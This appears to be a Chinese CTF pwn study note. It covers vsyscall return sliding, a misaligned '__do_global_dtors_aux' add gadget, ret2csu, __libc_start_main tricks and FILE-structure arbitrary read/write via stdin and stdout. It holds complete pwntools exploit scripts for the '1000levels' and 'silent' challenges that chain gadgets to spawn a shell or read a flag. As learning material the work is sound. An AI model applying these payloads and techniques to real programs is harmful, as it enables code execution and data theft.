1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=process('magic_number' ) elf=ELF('magic_number' ) payload = b'B' *0x38 +p64(0xFFFFFFFFFF600000 )+p64(0xFFFFFFFFFF600000 )+p64(0xFFFFFFFFFF600000 )+p64(0xFFFFFFFFFF600000 )+b'\xA8' p.recvuntil(b"Your Input :\n" ) p.send(payload) p.interactive()
1000levels 非常有意思的一道题
checksec
1 2 3 4 5 6 [*] '/home/aichch/pwn/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
存在pie
程序有一个hint函数很关键,虽然我们无法使得show_int为非0,但是无论条件是否成立system的地址都会被保存到[rbp-0x110]处
1 2 3 4 5 6 7 8 9 10 int hint (void ) { char v1[264 ]; if ( show_hint ) sprintf (v1, "Hint: %p\n" , &system); else strcpy (v1, "NO PWN NO FUN" ); return puts (v1); }
1 2 .text:0000000000000CFB 48 8B 05 CE 12 20 00 mov rax, cs:system_ptr .text:0000000000000D02 48 89 85 F0 FE FF FF mov [rbp+var_110], rax
再看另一个关键的函数go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int go (void ) { __int64 num; int v2; int v3; __int64 v4; __int64 v5; __int64 v6; char v7[256 ]; puts ("How many levels?" ); num = read_num(); if ( num > 0 ) v4 = num; else puts ("Coward" ); puts ("Any more?" ); v5 = v4 + read_num(); if ( v5 > 0 ) { if ( v5 <= 999 ) { v6 = v5; } else { puts ("More levels than before!" ); v6 = 1000LL ; } puts ("Let's go!'" ); v2 = time(0LL ); if ( level(v6) ) { v3 = time(0LL ); sprintf (v7, "Great job! You finished %d levels in %d seconds\n" , v6, (unsigned int )(v3 - v2)); puts (v7); } else { puts ("You failed." ); } exit (0 ); } return puts ("Coward" ); }
因为hint和go在调用时栈的环境是相同的,因此二者的rbp-0x110也是相同的
那么也就是说在go函数中若输入v4不大于0,v4便不会被初始化而是上次保存的system地址
之后的v5 = v4 + read_num();
允许我们修改system地址
不过单独的system并没有什么作用,也无法写入binsh字符串,故而我们可以利用system来找到one_gadget
最后利用vsyscall使one_gadget成为返回地址
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context(arch="amd64" ,os="linux" ,log_level="debug" ) p = process('./1000levels' ) libc = ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) vsyscall = 0xffffffffff600000 system_addr = libc.sym['system' ] execv_gadget = 0x4527a offset_addr = execv_gadget - system_addr p.sendlineafter(b'Choice:\n' ,b'2' ) p.sendlineafter(b'Choice:\n' ,b'1' ) p.sendlineafter(b'How many levels?\n' ,b'0' ) p.sendafter(b'Any more?\n' ,str (offset_addr)) for i in range (0 ,999 ): p.recvuntil(b'Question: ' ) a = int (p.recvuntil(b' ' )) p.recvuntil(b'* ' ) b = int (p.recvuntil(b' ' )) p.sendlineafter(b'Answer:' ,str (a*b)) payload = b'a' *0x38 + p64(vsyscall)*3 p.sendafter(b'Answer:' ,payload) p.interactive()
总结 往往这个技术的思路是——在栈中寻找之前遗留的信息,通过溢出技术修改,并通过vsyscall将返回地址滑动到该信息处,从而完成攻击。
magic gadget 有些elf文件中会存在这么一个函数_do_global_dtors_aux()
1 2 3 4 5 6 7 8 9 10 11 __int64 _do_global_dtors_aux() { __int64 result; if ( !completed_7698 ) { result = deregister_tm_clones(); completed_7698 = 1 ; } return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:00000000004007D0 __do_global_dtors_aux proc near ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o .text:00000000004007D0 80 3D 61 08 20 00 00 cmp cs:completed_7698, 0 .text:00000000004007D7 75 17 jnz short locret_4007F0 .text:00000000004007D7 .text:00000000004007D9 55 push rbp .text:00000000004007DA 48 89 E5 mov rbp, rsp .text:00000000004007DD E8 7E FF FF FF call deregister_tm_clones .text:00000000004007DD .text:00000000004007E2 C6 05 4F 08 20 00 01 mov cs:completed_7698, 1 .text:00000000004007E9 5D pop rbp .text:00000000004007EA C3 retn .text:00000000004007EA .text:00000000004007EA ; --------------------------------------------------------------------------- .text:00000000004007EB 0F 1F 44 00 00 align 10h .text:00000000004007F0 .text:00000000004007F0 locret_4007F0: ; CODE XREF: __do_global_dtors_aux+7↑j .text:00000000004007F0 F3 C3 rep retn .text:00000000004007F0 .text:00000000004007F0 __do_global_dtors_aux endp
单看函数和汇编可能并不会觉得这能有什么用处
但是如果将汇编截断,然后在0x4007E8处开始汇编代码就将变成
1 2 3 0: 01 5d c3 add DWORD PTR [rbp-0x3d],ebx 3: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] 8: f3 c3 repz ret
可见只要我们能够控制rbp和ebx就能够做到对某部分内存进行调整
例如在无输出状态下,知道某个符号同另一符号的偏移
则可以将其调整为另一个符号
不过只能从低向高调整,因为add的是ebx寄存器,无法实现减法
例题 2023鹏城杯-silent
利用magic gadget调整stdout为syscall;ret的地址
并以此来打orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context(arch='amd64' , os='linux' ,log_level="debug" ) libc = ELF("/home/aichch/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" ) def get_p (name ): global p,elf p = process(name) elf = ELF(name) pop_rdi = 0x0000000000400963 start = 0x400720 csu_2 = 0x00000000040095a csu_1 = 0x000000000400940 get_p("./silent" ) bss = 0x602100 magic = 0x00000000004007e8 leave_ret = 0x0000000000400876 stdout = 0x000000000601020 op = 0xffffffffffffffff & (0x00000000000d2625 -libc.sym['_IO_2_1_stdout_' ]) syscall = p64(csu_2) + p64(op) + p64(stdout+0x3d ) + p64(1 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(magic) payload = b"A" *0x48 + p64(csu_2) + p64(0 ) + p64(1 ) + p64(elf.got['read' ]) + p64(0 ) + p64(bss-8 ) + p64(0x200 ) + p64(csu_1) payload += p64(bss-8 )*3 + p64(0 )*4 + p64(leave_ret) p.send(payload) sleep(0.2 ) payload = b"flag\x00\x00\x00\x00" + syscall payload += p64(csu_2) + p64(0 ) + p64(1 ) + p64(elf.got['read' ]) + p64(0 ) + p64(bss+0x300 ) + p64(0x200 ) + p64(csu_1) payload += p64(0 ) + p64(0 ) + p64(1 ) + p64(stdout) + p64(bss-8 ) + p64(0 ) + p64(0 ) + p64(csu_1) payload += p64(0 )*2 + p64(1 ) + p64(elf.got['read' ]) + p64(3 ) + p64(bss+0x400 ) + p64(0x200 ) + p64(csu_1) payload += p64(0 )*2 + p64(1 ) + p64(elf.got['read' ]) + p64(0 ) + p64(bss+0x300 ) + p64(0x200 ) + p64(csu_1) payload += p64(0 )*2 + p64(1 ) + p64(stdout) + p64(1 ) + p64(bss+0x400 ) + p64(0x40 ) + p64(csu_1) p.send(payload) sleep(0.2 ) p.send("\x00" *2 ) sleep(0.2 ) p.send("\x00" ) p.interactive()
__libc_start_main妙用
__libc_start_main共有7个参数,不过正常利用下只需要注意前三个就行,分别是main,argc,argv
函数过程中会调用read,从而在栈上留下read的libc地址,一些情况下可以利用其中的syscall
最后启动main时main的三个参数分别是argc,argv,和__environ,__environ是一个栈地址数值很大
__libc_start_main也可以启动除main以外的函数.甚至都不需要是函数只要是可执行的代码就行,不过需要另作一些布置
__libc_start_main在运行时会在栈上留下许多信息,其中包括一个read+17的地址,将其改写为read+15可以视为一个syscall;ret的gadget
一些特殊情况下,栈迁移后,在参数基本可控的时候,可以利用其重启某一段代码来做一些利用syscall
_libc_csu_init 在 64 位程序中,经常能看见用来对 libc 进行初始化操作的__libc_csu_init 函数,有时直接包含在init函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 .text:0000000000400900 public __libc_csu_init .text:0000000000400900 __libc_csu_init proc near ; DATA XREF: _start+16 ↑o .text:0000000000400900 ; __unwind { .text:0000000000400900 41 57 push r15 .text:0000000000400902 41 56 push r14 .text:0000000000400904 49 89 D7 mov r15, rdx .text:0000000000400907 41 55 push r13 .text:0000000000400909 41 54 push r12 .text:000000000040090B 4 C 8 D 25 7 E 04 20 00 lea r12, __frame_dummy_init_array_entry .text:0000000000400912 55 push rbp .text:0000000000400913 48 8 D 2 D 7 E 04 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry .text:000000000040091 A 53 push rbx .text:000000000040091B 41 89 FD mov r13d, edi .text:000000000040091 E 49 89 F6 mov r14, rsi .text:0000000000400921 4 C 29 E5 sub rbp, r12 .text:0000000000400924 48 83 EC 08 sub rsp, 8 .text:0000000000400928 48 C1 FD 03 sar rbp, 3 .text:000000000040092 C E8 4F FD FF FF call _init_proc .text:000000000040092 C .text:0000000000400931 48 85 ED test rbp, rbp .text:0000000000400934 74 20 jz short loc_400956 .text:0000000000400934 .text:0000000000400936 31 DB xor ebx, ebx .text:0000000000400938 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000 h] .text:0000000000400938 .text:0000000000400940 .text:0000000000400940 loc_400940: ; CODE XREF: __libc_csu_init+54 ↓j .text:0000000000400940 4 C 89 FA mov rdx, r15 .text:0000000000400943 4 C 89 F6 mov rsi, r14 .text:0000000000400946 44 89 EF mov edi, r13d .text:0000000000400949 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600 D90h)[r12+rbx*8 ] .text:0000000000400949 .text:000000000040094 D 48 83 C3 01 add rbx, 1 .text:0000000000400951 48 39 DD cmp rbp, rbx .text:0000000000400954 75 EA jnz short loc_400940 .text:0000000000400954 .text:0000000000400956 .text:0000000000400956 loc_400956: ; CODE XREF: __libc_csu_init+34 ↑j .text:0000000000400956 48 83 C4 08 add rsp, 8 .text:000000000040095 A 5B pop rbx .text:000000000040095B 5 D pop rbp .text:000000000040095 C 41 5 C pop r12 .text:000000000040095 E 41 5 D pop r13 .text:0000000000400960 41 5 E pop r14 .text:0000000000400962 41 5F pop r15 .text:0000000000400964 C3 retn .text:0000000000400964 ; } .text:0000000000400964 .text:0000000000400964 __libc_csu_init endp .text:0000000000400964 .text:0000000000400964
利用的就是loc_400940和loc_400956这两个部分
若先跳转到0x40095A
处那么可以直接控制rbx,rbp,r12,r13,r14,15六个寄存器
然后retn到0x400940
处,就相当于间接控制了rdx,rsi,edi,以及rip
为了程序正常执行,一般会令rbx为0,rbp为1,
使得程序正常向下执行再次来到0x40095A
处,此时可以选择退出csu,也可以构造chain_csu继续csu
偏移构造 关注
1 2 3 4 5 .text:000000000040095C 41 5C pop r12 .text:000000000040095E 41 5D pop r13 .text:0000000000400960 41 5E pop r14 .text:0000000000400962 41 5F pop r15 .text:0000000000400964 C3
如果改变偏移使得返回到41h机器码之后则有
1 2 3 4 5 6 pwndbg> x /5i 0x40095d 0x40095d <__libc_csu_init+93>: pop rsp 0x40095e <__libc_csu_init+94>: pop r13 0x400960 <__libc_csu_init+96>: pop r14 0x400962 <__libc_csu_init+98>: pop r15 0x400964 <__libc_csu_init+100>: ret
1 2 3 4 5 pwndbg> x /5i 0x40095f 0x40095f <__libc_csu_init+95>: pop rbp 0x400960 <__libc_csu_init+96>: pop r14 0x400962 <__libc_csu_init+98>: pop r15 0x400964 <__libc_csu_init+100>: ret
1 2 3 4 pwndbg> x /5i 0x400961 0x400961 <__libc_csu_init+97>: pop rsi 0x400962 <__libc_csu_init+98>: pop r15 0x400964 <__libc_csu_init+100>: ret
1 2 3 pwndbg> x /5i 0x400963 0x400963 <__libc_csu_init+99>: pop rdi 0x400964 <__libc_csu_init+100>: ret
可见偏移构造之后变成不同的gadget了
标准io任意读写 stdin任意写 原理 scanf
,fread
,gets
等读入走IO
指针(read
则不).
若输入缓冲区指针满足_IO_read_end ==_IO_read_ptr,即缓冲区中没有可供读取的数据时
会调用sysread读取数据至_IO_buf_base处,读取大小为__IO_buf_end-IO_buf_base
故若能够修改stdin的_IO_buf_base字段
并且满足
设置_IO_read_end
等于_IO_read_ptr
(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
设置_flag &~ _IO_NO_READS
即_flag &~ 0x4
(一般不用特意设置)。
设置_fileno
为0
(一般不用特意设置)。
设置_IO_buf_base
为write_start
,_IO_buf_end
为write_end
(我们目标写的起始地址是write_start
,写结束地址为write_end
),且使得_IO_buf_end-_IO_buf_base
大于要写入的数据长度。
利用 在大多数时候我们并无法做到任意修改_IO_buf_base(毕竟我们的目标就是获得任意写),
不过我们知道在无缓冲模式 时,文件的缓冲区被设置为自身结构体内的_shortbuf
此时,如果具有单字节置零(或更自由的条件),那么可以将_IO_buf_base的最低字节置零
使得_IO_buf_base指向结构体自身(当然需要确保_IO_buf_base和_shortbu的地址除最后一个字节外都要相同)
这样在读取时便会读取到自身结构体,此时再次修改_IO_buf_base和_IO_buf_end
并利用某些io函数(如getchar,可以使_IO_read_ptr++)再次使得_IO_read_end ==_IO_read_ptr
然后再次触发系统调用读取,就可以做到任意写
注意 有些情况下,特别是无缓冲模式下,如果是由xgetsn触发的underflow,读取数大于缓冲区大小(无缓冲模式为1),会直接调用系统调用从文件流读到目标区域,而不经过缓冲区
其他模式下如果缓冲区大于128,才会有最后一部分经过缓冲区读取
例题 2023hitctf-scanf
见
平时比赛题录.md
stdout任意读写 原理 printf
,fwrite
,puts
等输出走IO
指针(write
则不)
任意写 在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr
,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr
,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中 (此时由_IO_write_ptr
控制,向_IO_write_ptr
拷贝count
长度的数据),因此可通过这一点来实现任意地址写的功能。利用方式 :以全缓冲模式为例,只需将_IO_write_ptr
指向write_start
,_IO_write_end
指向write_end
即可。
任意读 先讨论_IO_new_file_xsputn
源代码中if (to_do + must_flush > 0)
有哪些情况会执行该分支中的内容: (a) 首先要明确的是to_do
一定是非负数,因此若must_flush
为1
的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n
换行符的时候就会需要刷新输出缓冲区,即将must_flush
设为1
,故当输出内容中有\n
的时候就会执行该分支的内容,如用puts
函数输出就一定会执行。 (b) 若to_do
大于0
,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if
分支中的内容。 而该if
分支中主要调用了_IO_OVERFLOW()
来刷新输出缓冲区,而在此过程中会调用_IO_do_write()
输出我们想要的数据。 相关源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int _IO_new_file_overflow (_IO_FILE *f, int ch){ if (f->_flags & _IO_NO_WRITES) { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ) { ... } if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); return (unsigned char ) ch; } libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { ... _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1 ); if (new_pos == _IO_pos_BAD) return 0 ; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); ... return count; }
综上,为了做到任意读 ,满足如下条件,即可进行利用:
设置_flag &~ _IO_NO_WRITES
,即_flag &~ 0x8
;
设置_flag & _IO_CURRENTLY_PUTTING
,即_flag | 0x800
;
设置_fileno
为1
;
设置_IO_write_base
指向想要泄露的地方,_IO_write_ptr
指向泄露结束的地址;
设置_IO_read_end
等于_IO_write_base
或 设置_flag & _IO_IS_APPENDING
即,_flag | 0x1000
。
此外,有一个大前提:需要调用_IO_OVERFLOW()
才行,因此需使得需要输出的内容中含有\n
换行符 或 设置_IO_write_end
等于_IO_write_ptr
(输出缓冲区无剩余空间)等。一般来说,经常利用puts
函数加上述stdout
任意读的方式泄露libc
。_flag
的构造需满足的条件:
1 2 3 4 _flags = 0xfbad0000 _flags & = ~_IO_NO_WRITES _flags | = _IO_CURRENTLY_PUTTING _flags | = _IO_IS_APPENDING